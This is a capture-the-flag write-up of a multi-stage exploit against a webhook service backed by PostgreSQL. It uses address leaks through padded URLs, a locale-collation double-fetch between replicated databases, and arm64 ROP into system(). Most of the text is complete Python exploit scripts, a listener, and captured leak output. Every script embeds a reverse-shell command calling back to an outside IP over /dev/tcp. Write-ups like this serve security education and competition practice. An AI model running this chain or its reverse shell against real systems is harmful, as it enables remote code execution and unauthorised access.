bomb_url = 'http://18.143.50.149:4/?x=__/plugins___________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________'
watch("bomb", bomb_url, s1)

# Watch rum
# Length need to be 0x7e8
rum_url = 'http://18.143.50.149:4/?x=__/plugins____________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________'
watch("rum", rum_url, s1)

# Watch anchor
# Length need to be 0x800
# The position of `bash xxx` need to be exact with this position
anchor_url = 'http://18.143.50.149:4/?x=__/plugins______________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________bash -c "bash -i >& /dev/tcp/18.143.50.149/6666 0>&1";________________________'
watch("anchor", anchor_url, s1)
print(f'Add some delay before continue...')
sleep(5)

# Notify gold
notify("gold", s1)
print(f'Add some delay before continue...')
sleep(6)

# Notify bomb
notify("bomb", s1)
print(f'Add some delay before continue...')
sleep(6)

# Notify rum (This will leak main_arena+96)
notify("rum", s1)
sleep(6)

# Notify rum (This will leak heap)
notify("anchor", s1)
sleep(3)

# Clean up hooks db
print("unwatch...")
unwatch("gold", s1)
unwatch("gold", s2)
unwatch("gold", s3)
unwatch("bomb", s1)
unwatch("rum", s1)
unwatch("anchor", s1)

Essentially, what I did was:

  • Create three accounts (user1, user2, user3)
  • Call watch(kind1) with url length 0x4ff for user1.
  • Call watch(kind1) with url length 0x4ff for user2.
  • Call watch(kind1) with url length 0x43f for user3.
  • Call watch(kind2) with url length 0x7d7 for user1.
  • Call watch(kind3) with url length 0x7e8 for user1.
    • We will call notify on this later to get a libc leak.
  • Call watch(kind4) with url length 0x800 for user1.
    • We will call notify on this later to get a heap leak.
  • Call notify(kind1).
  • Call notify(kind2).
  • Call notify(kind3).
    • Our listening server will be hit with our input url + libc leak.
  • Call notify(kind4).
    • Our listening server will be hit with our input url + heap leak.

And here is our buggy listening server code. You can’t change this server code to get the leak with my previous script.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
import struct
import socket
import sys
import threading
import time

# --- constants ---

HOST = '0.0.0.0'   # local address IP (not external address IP)

            # '0.0.0.0' or '' - conection on all NICs (Network Interface Card),
            # '127.0.0.1' or 'localhost' - local conection only (can't connect from remote computer)
            # 'Local_IP' - connection only on one NIC which has this IP

PORT = 4 # local port (not external port)

# --- functions ---

def handle_client(conn, addr):
    data = conn.recv(1024*3)
    print(f'recv_data: {data}')
    #request_string = data.decode("utf-8")
    try:
        while True:
            conn.send(data)
            #conn.send(request_string.encode("utf-8"))
            time.sleep(5)
    except BrokenPipeError:
        print('[DEBUG] addr:', addr, 'Connection closed by client?')
    except Exception as ex:
        print('[DEBUG] addr:', addr, 'Exception:', ex, )
    finally:
        conn.close()

# --- main ---

#all_threads = []         

try:
    # --- create socket ---

    print('[DEBUG] create socket')    

    #s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s = socket.socket() # default value is (socket.AF_INET, socket.SOCK_STREAM) so you don't have to use it

    # --- options ---

    # solution for "[Error 89] Address already in use". Use before bind()
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

    # --- assign socket to local IP (local NIC) ---

    print('[DEBUG] bind:', (HOST, PORT))

    s.bind((HOST, PORT)) # one tuple (HOST, PORT), not two arguments

    # --- set size of queue ---

    print('[DEBUG] listen')

    s.listen(1) # number of clients waiting in queue for "accept".
                # If queue is full then client can't connect.

    while True:
        # --- accept client ---

        # accept client and create new socket `conn` (with different port) for this client only
        # and server will can use `s` to accept other clients (if you will use threading)

        print('[DEBUG] accept ... waiting')

        conn, addr = s.accept() # socket, address

        print('[DEBUG] addr:', addr)

        t = threading.Thread(target=handle_client, args=(conn, addr))
        t.start()

        #all_threads.append(t)

except Exception as ex:
    print(ex)
except KeyboardInterrupt as ex:
    print(ex)
except:
    print(sys.exc_info())
finally:
    # --- close socket ---

    print('[DEBUG] close socket')

    s.close()

    #for t in all_threads:
    #    t.running = False # it would need to build own class Thread
    #    t.join()

If you run the listening server and then execute the solve.py file, you will get this kind of leaks in the listening server.

1
2
3
4
5
6
[DEBUG] addr: ('18.136.207.27', 58464)
[DEBUG] accept ... waiting
recv_data: b'POST /?x=__/plugins____________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________\xf8\x8ao\x85\xff\xff HTTP/1.1\r\nHost: 18.143.50.149:4\r\nAccept: */*\r\nX-Digest: ef3e57dc85ba8e5ee44f7ca96f0c4c33e038d71c5d08581f7d064c3532fa982f\r\nContent-Length: 22\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\nkind=rum&size=1&item=4'
[DEBUG] addr: ('18.136.207.27', 54554)
[DEBUG] accept ... waiting
recv_data: b'POST /?x=__/plugins______________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________bash -c "bash -i >& /dev/tcp/18.143.50.149/6666 0>&1";________________________\x90\xf2\x80\xea\xaa\xaa HTTP/1.1\r\nHost: 18.143.50.149:4\r\nAccept: */*\r\nX-Digest: 7c90b945182bc0e9a1c8ff5b8befb435f1cf9314a32c3d6643437db55b86e1ba\r\nContent-Length: 25\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\nkind=anchor&size=1&item=5'

It’s important to note that both of the curl request URL parameters that we received contained an appended libc and heap address.

Fun Fact 1

Notice that the solve.py scripts contains a lot of sleep after calling the notify. I know it’s weird, but due to the buggy listening server that we use, we need to add delays between each notify to get the leak.

If we failed to get the leak even after the sleep, we need to respawn a new instance and re-run the solver script again (and maybe adjust the sleep time again lol).

It’s not elegant, but hey it works :)

Fun Fact 2
We actually try to code a new listening server to increase the reliability of our libc leak later. While it is reliable in our local, it didn’t work in the remote server. So we decided to keep using this buggy listening server code :)

With a method in place to obtain a useful leak, we can move on to the next step, which involves triggering the double-fetch bug.

Triggering double-fetch bug

My teammates (Riatre, sampriti, and khokho) were the one who tried to trigger this bug by playing around the PostgreSQL. Despite spending a significant amount of time attempting to race and trigger the double-fetch bug, we were ultimately unsuccessful to trigger it in remote (it worked sometimes in the local). Fortunately, the authors provided us with a hint that proved to be quite helpful.

Hint from authors
The intended solution does NOT involve a race condition. The only randomness in the intended solution is ASLR. The proof of work is intentionally high and will not be lowered. Look more closely at the differences between the Dockerfile in maindb and workerdb.

After inspecting the Dockerfile, we discovered that although both maindb and workerdb utilized the same version of PostgreSQL, they were installed on different operating systems. Specifically, maindb was installed on alpine, whereas workerdb was installed on debian.

In an attempt to better understand the impact of utilizing different operating systems within a master-slave cluster, we came across an informative article, that discussed the potential issues that could arise in streaming replication due to differences in locale. We also discovered another article that served to reinforce our suspicions that there may be an issue related to locale which caused different collation behavior. After testing the provided POC within the aforementioned article, it became clear that our concerns were indeed warranted.

Given our newfound understanding of the potential issues that can arise due to differences in locale within a master-slave cluster, we realized that we actually don’t need to trigger a race. Instead, our focus shifted to manipulating the index in such a way that the SELECT COUNT(*) query would return a smaller value than the actual result obtained via the SELECT target, secret query.

My teammate Riatre were able to devise a POC that resulted in the SELECT COUNT(*) query returning a value of 0, despite the SELECT target, secret query yielding a total of 10 rows. While our initial approach had utilized unicode, which we soon discovered was not allowed, Riatre discovered that we could leverage the differing results of the 'E' > 'd' comparison between maindb and workerdb to trigger the double-fetch bug.

The POC is:

  • Insert 1000 hooks with kind=d.
  • Insert 1000 hooks with kind=E.
  • Sleep for 1 minute to wait for auto vacuum

After running the POC, workerdb was unable to interpret the index correctly due to the differing results of the comparison, causing the count query to produce 0 and the second query to yield 10 rows. This gave us a reliable way to trigger the double-fetch bug.

Obtaining a Reverse Shell through OOB Write

Now that we have triggered the double-fetch, it means we have an OOB write in the stack. Let’s recap what we have accomplished so far:

  • We have obtained a libc and heap leak.
  • We are able to do OOB Write in stack.
  • We couldn’t directly interact with the webhook.

Due to the presence of an out-of-bounds (OOB) write in the stack, we simply need to perform ROP. By inspecting the registers using gdb, we observe that our secrets[i] value is actually loaded to registers x19-x26 and x29-x30. It’s important to note that webhook is an arm64 binary, which means that the return address is stored in x30. This observation indicates that we have control over the webhook PC.

While examining the available gadgets in the webhook libc, we discovered the following useful gadget (Thanks to my teammate zxc1337):

1
0x0000000000021af8: mov x0, x19; blr x20; 

Since we have control over both x20 and x19 registers, our next step is to set x20 to the system function and x19 to the address of our desired system command.

We attempted to set x19 using the leaked heap values plus an offset that we derived from our local environment. However, we encountered a discrepancy between the heap layouts in our local and remote environments, which hindered our progress.

So, we decided to spray the heap with our reverse shell commands and then bruteforce the offset. Eventually, we discovered a suitable offset that led to our sprayed reverse shell commands. With this successful connection to the reverse shell, we were able to extract the flag from the database.

The reverse shell command

At first, we tried to do the usual reverse shell command bash -i >& /dev/tcp/18.143.50.149/6666, but it doesn’t work with system(). And then my teammate sampriti found out that to make the reverse shell works with system(), the reverse shell command need to be wrapped inside bash -c.

So, the final reverse shell command is something like this bash -c "bash -i >& /dev/tcp/18.143.50.149/6666".

Here is the POC that demonstrates how to spray the heap and gain PC control using the OOB Write vulnerability:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
from typing import Any
import requests
import logging
import time
import tqdm
import random
import string
from pwn import *

context.arch = 'aarch64'
context.encoding = 'latin'
context.log_level = 'INFO'
warnings.simplefilter("ignore")

SERVER_URL = "http://18.136.207.27:3000"

logger = logging.getLogger(__name__)

def url_for(path):
    return SERVER_URL + path


class Solver:
    def __init__(self):
        self.session = requests.Session()

    def login(self, username, password):
        r = self.session.post(
            url_for("/_m/2e7970cbec/loggingIn"),
            data={
                "redirectTo": "/",
                "username": username,
                "password": password,
            },
            allow_redirects=False,
        )
        assert r.status_code == 302

    def watch(self, kind: str, url: str, secret: int) -> int:
        assert 0 <= secret < 2**64
        r = self.session.post(
            url_for("/_m/34a106c003/transacting"),
            files={
                "action": (None, "watch"),
                "kind": (None, kind),
                "url": (None, url),
                "secret": (None, str(secret)),
            },
            allow_redirects=False,
        )
        if r.status_code not in (204, 302):
            raise RuntimeError(f"{r.status_code=} {r.content=}")
        loc = r.headers["Location"]
        assert loc.startswith("/?watchId=")
        return int(loc[len("/?watchId=") :])

    def unwatch(self, kind: str, watch_id: int | None = None) -> bool:
        data = {
            "action": (None, "unwatch"),
            "kind": (None, kind),
        }
        if watch_id is not None:
            data["id"] = (None, str(watch_id))
        r = self.session.post(
            url_for("/_m/34a106c003/transacting"), files=data, allow_redirects=False
        )
        return r.status_code == 302

    def notify(self, kind: str, data: dict[str, Any] = {}) -> bool:
        r = self.session.post(
            url_for("/_m/34a106c003/transacting"),
            files={
                "action": (None, "notify"),
                "kind": (None, kind),
            } | {k: (None, v) for k, v in data.items()},
            allow_redirects=False,
        )
        if r.status_code not in (204, 302):
            logger.error(f"notify failed {r.status_code=} {r.content=}")
        return r.status_code in (204, 302)

leaked_heap = int(input('heap leak: '), 16)
system_cmd = leaked_heap + 0x6000 # Bruteforce the offset
leaked_libc = int(input('libc leak: '), 16)
main_arena_96_offset = 0x170af8
libc_base = leaked_libc - main_arena_96_offset
mov_x0_x19_blr_x20 = libc_base + 0x0000000000021af8 # mov x0, x19; blr x20;

M = "d"
FLOWER = "E"
PAYLOAD = [0x4141414141414141, mov_x0_x19_blr_x20, system_cmd, libc_base+0x40890, 0x4545454545454545, 0x4646464646464646, 0x4747474747474747, 0x4848484848484848, 0x4949494949494949, 0x5050505050505050]
random.seed(114514)
RANDOMISH_STRING_FOR_M = ["".join(random.choices(string.ascii_letters, k=2467)) for _ in range(1000)]
RANDOMISH_STRING_FOR_FLOWER = ["".join(random.choices(string.ascii_letters, k=2467)) for _ in range(1000)]
SECRET_FOR_FLOW = [0x4242424200000000 + i for i in range(1000)]
PAYLOAD_OFFSET = [258, 550, 729, 116, 517, 941, 999, 100, 490, 544]
COMMAND = ' ; bash -c "bash -i >& /dev/tcp/18.143.50.149/6666 0>&1"; dy78912yh3'
for off, val in zip(PAYLOAD_OFFSET, PAYLOAD):
    SECRET_FOR_FLOW[off] = val
    RANDOMISH_STRING_FOR_FLOWER[off] = RANDOMISH_STRING_FOR_FLOWER[off][:-len(COMMAND)] + COMMAND

def main():
    s = Solver()
    s.login("omguser", "omgpass")
    assert s.unwatch(M)
    assert s.unwatch(FLOWER)
    for i in tqdm.trange(1000):
        s.watch(M, "http://127.0.0.1/" + RANDOMISH_STRING_FOR_M[i], 0x4141414100000000 + i)
    for i in tqdm.trange(1000):
        s.watch(FLOWER, "http://127.0.0.2/" + RANDOMISH_STRING_FOR_FLOWER[i], SECRET_FOR_FLOW[i])
    # Wait for auto vacuum
    time.sleep(60)
    s.notify(FLOWER)


if __name__ == "__main__":
    main()

Below is the full script to automate all the process which combined both the leak and PC control POCs (Thanks to Riatre):

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
from typing import Any
import requests
import logging
import time
import tqdm
import random
import string
import socket
import threading
import struct
import sys

# SERVER_URL = "http://3.113.243.230:3000"
SERVER_URL = sys.argv[1].rstrip("/") if len(sys.argv) > 1 else "http://127.0.0.1:3000"
HEAP_OFF = int(sys.argv[2], 16) if len(sys.argv) > 2 else 0x6000
# PINGBACK_URL = "http://35.72.245.211:4"
# PINGBACK_URL = "http://3.113.243.230:4"
PINGBACK_URL = "http://54.90.103.135:5"
COMMAND = ' ; bash -c "bash -i >& /dev/tcp/35.72.245.211/6666 0>&1"; dy78912yh3'
logger = logging.getLogger(__name__)

# logging.basicConfig(level=logging.DEBUG)

# import http.client

# httpclient_logger = logging.getLogger("http.client")

# def httpclient_logging_patch(level=logging.DEBUG):
#     """Enable HTTPConnection debug logging to the logging framework"""

#     def httpclient_log(*args):
#         httpclient_logger.log(level, " ".join(args))

#     # mask the print() built-in in the http.client module to use
#     # logging instead
#     http.client.print = httpclient_log
#     # enable debugging
#     http.client.HTTPConnection.debuglevel = 1
# httpclient_logging_patch()

def url_for(path):
    return SERVER_URL + path


class User:
    def __init__(self):
        self.session = requests.Session()

    def login(self, username, password):
        r = self.session.post(
            url_for("/_m/2e7970cbec/loggingIn"),
            data={
                "redirectTo": "/",
                "username": username,
                "password": password,
            },
            allow_redirects=False,
        )
        assert r.status_code == 302

    def watch(self, kind: str, url: str, secret: int) -> int:
        assert 0 <= secret < 2**64
        r = self.session.post(
            url_for("/_m/34a106c003/transacting"),
            files={
                "action": (None, "watch"),
                "kind": (None, kind),
                "url": (None, url),
                "secret": (None, str(secret)),
            },
            allow_redirects=False,
        )
        if r.status_code not in (204, 302):
            raise RuntimeError(f"{r.status_code=} {r.content=}")
        loc = r.headers["Location"]
        assert loc.startswith("/?watchId=")
        return int(loc[len("/?watchId=") :])

    def unwatch(self, kind: str, watch_id: int | None = None) -> bool:
        data = {
            "action": (None, "unwatch"),
            "kind": (None, kind),
        }
        if watch_id is not None:
            data["id"] = (None, str(watch_id))
        r = self.session.post(
            url_for("/_m/34a106c003/transacting"), files=data, allow_redirects=False
        )
        return r.status_code == 302

    def notify(self, kind: str, data: dict[str, Any] = {}) -> bool:
        r = self.session.post(
            url_for("/_m/34a106c003/transacting"),
            files={
                "action": (None, "notify"),
                "kind": (None, kind),
            } | {k: (None, v) for k, v in data.items()},
            allow_redirects=False,
        )
        if r.status_code not in (204, 302):
            logger.error(f"notify failed {r.status_code=} {r.content=}")
        return r.status_code in (204, 302)


def leak_receiver(finish_ev, result_dict):
    def handle_client(conn, addr):
        data = conn.recv(1024)
        while b"kind=" not in data:
            data += conn.recv(1024)
        print(f'recv_data: {data}')
        if b"kind=rum" in data or b"kind=anchor" in data:
            pos = data.find(b" HTTP/1.1")
            addr, = struct.unpack("<Q", data[pos-6:pos]+b"\x00\x00")
            if b"kind=rum" in data:
                result_dict["libc"] = addr
            else:
                result_dict["heap"] = addr
                finish_ev.set()
        # conn.send(b"HTTP/1.1 200 OK\r\nServer: lol\r\nConnection: close\r\nContent-Length: 0\r\n\r\n")
        # conn.close()
        assert conn.send(data) == len(data)
        """
        try:
            while True:
                conn.send(data)
                #conn.send(request_string.encode("utf-8"))
                time.sleep(5)
        except BrokenPipeError:
            print('[DEBUG] addr:', addr, 'Connection closed by client?')
        except Exception as ex:
            print('[DEBUG] addr:', addr, 'Exception:', ex, )
        finally:
            conn.close()
        """
    print('[DEBUG] create socket')
    s = socket.socket()
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    print('[DEBUG] bind:', ("0.0.0.0", 5))
    s.bind(("0.0.0.0", 5))
    print('[DEBUG] listen')
    s.listen(128)
    while "bye" not in result_dict:
        print('[DEBUG] accept ... waiting')
        conn, addr = s.accept() # socket, address
        print('[DEBUG] addr:', addr)
        t = threading.Thread(target=handle_client, args=(conn, addr), daemon=True)
        t.start()
    s.close()


def leak() -> int:
    finish_ev = threading.Event()
    result_dict = {}
    thr = threading.Thread(target=leak_receiver, args=(finish_ev, result_dict))
    thr.start()
    random_hex = 'd0bebc4a8f'
    s1, s2, s3 = User(), User(), User()
    s1.login(f"user1-{random_hex}", "user1")
    s2.login(f"user2-{random_hex}", "user2")
    s3.login(f"user3-{random_hex}", "user3")
    s1.unwatch("gold")    
    s2.unwatch("gold")    
    s3.unwatch("gold")    
    s1.unwatch("bomb")
    s1.unwatch("rum")
    s1.unwatch("anchor")
    # Watch gold
    # Length need to be 0x4ff
    gold_url_1 = f'{PINGBACK_URL}/?x=__/plugins'.ljust(0x4ff, '_')

    # Length need to be 0x43f
    gold_url_2 = f'{PINGBACK_URL}/?x=__/plugins'.ljust(0x43f, '_')
    s1.watch("gold", gold_url_1, 123)
    s2.watch("gold", gold_url_1, 123)
    s3.watch("gold", gold_url_2, 123)

    # Watch bomb
    # Length need to be 0x7d7
    bomb_url = f'{PINGBACK_URL}/?x=__/plugins'.ljust(0x7d7, '_')
    s1.watch("bomb", bomb_url, 123)

    # Watch rum
    # Length need to be 0x7e8
    rum_url = f'{PINGBACK_URL}/?x=__/plugins'.ljust(0x7e8, '_')
    s1.watch("rum", rum_url, 123)

    # Watch anchor
    # Length need to be 0x800
    # The position of `bash xxx` need to be exact with this position
    anchor_url = f'{PINGBACK_URL}/?x=__/plugins'.ljust(0x800 - len(COMMAND), '_') + COMMAND
    s1.watch("anchor", anchor_url, 123)
    time.sleep(2)
    # input("wait")
    s1.notify("gold")
    print("Notified gold")
    time.sleep(6)
    # input("wait")
    s1.notify("bomb")
    print("Notified bomb")
    time.sleep(2)
    # input("wait")
    s1.notify("rum")
    print("Notified rum")
    time.sleep(2)
    # input("wait")
    s1.notify("anchor")
    print("Notified anchor")
    time.sleep(2)
    s1.unwatch("gold")
    s2.unwatch("gold")
    s3.unwatch("gold")
    s1.unwatch("bomb")
    s1.unwatch("rum")
    s1.unwatch("anchor")
    finish_ev.wait()
    result_dict["bye"] = True
    return result_dict["libc"] - 0x170af8, result_dict["heap"]

M = "d"
FLOWER = "E"
random.seed(114514)
RANDOMISH_STRING_FOR_M = ["".join(random.choices(string.ascii_letters, k=2467)) for _ in range(1000)]
RANDOMISH_STRING_FOR_FLOWER = ["".join(random.choices(string.ascii_letters, k=2467)) for _ in range(1000)]
PAYLOAD_OFFSET = [258, 550, 729, 116, 517, 941, 999, 100, 490, 544]
for off in PAYLOAD_OFFSET:
    RANDOMISH_STRING_FOR_FLOWER[off] = RANDOMISH_STRING_FOR_FLOWER[off][:-len(COMMAND)] + COMMAND

def main():
    libc_base, somewhere_on_heap = leak()
    print(f"libc_base: {hex(libc_base)}")
    print(f"heap: {hex(somewhere_on_heap)}")
    # exit(0)
    mov_x0_x19_blr_x20 = libc_base + 0x21af8
    system = libc_base + 0x40890
    payload = [0x4141414141414141, mov_x0_x19_blr_x20, somewhere_on_heap + HEAP_OFF, system, 0x4545454545454545, 0x4646464646464646, 0x4747474747474747, 0x4848484848484848, 0x4949494949494949, 0x5050505050505050]
    secret_for_flow = [0x4242424200000000 + i for i in range(1000)]
    for off, val in zip(PAYLOAD_OFFSET, payload):
        secret_for_flow[off] = val
    s = User()
    s.login("omguser", "omgpass")
    assert s.unwatch(M)
    assert s.unwatch(FLOWER)
    for i in tqdm.trange(1000):
        s.watch(M, "http://127.0.0.1/" + RANDOMISH_STRING_FOR_M[i], 0x4141414100000000 + i)
    for i in tqdm.trange(1000):
        s.watch(FLOWER, "http://127.0.0.2/" + RANDOMISH_STRING_FOR_FLOWER[i], secret_for_flow[i])
    # Wait for auto vacuum
    time.sleep(60)
    s.notify(FLOWER)


if __name__ == "__main__":
    main()
https://i.imgur.com/aH9dJHF.png
Example usage of the script in local (because during making this writeup, the server is already down)

Finally, we got the flag. Thanks a lot to my amazing teammates who worked hard to solve this challenge.

Flag: PCTF{i_d0ne_br1ng_my_fullsome_c0ffers_and_all_1_fetched_w4s_thiS_scurvy_Flag}

Social Media

Follow me on twitter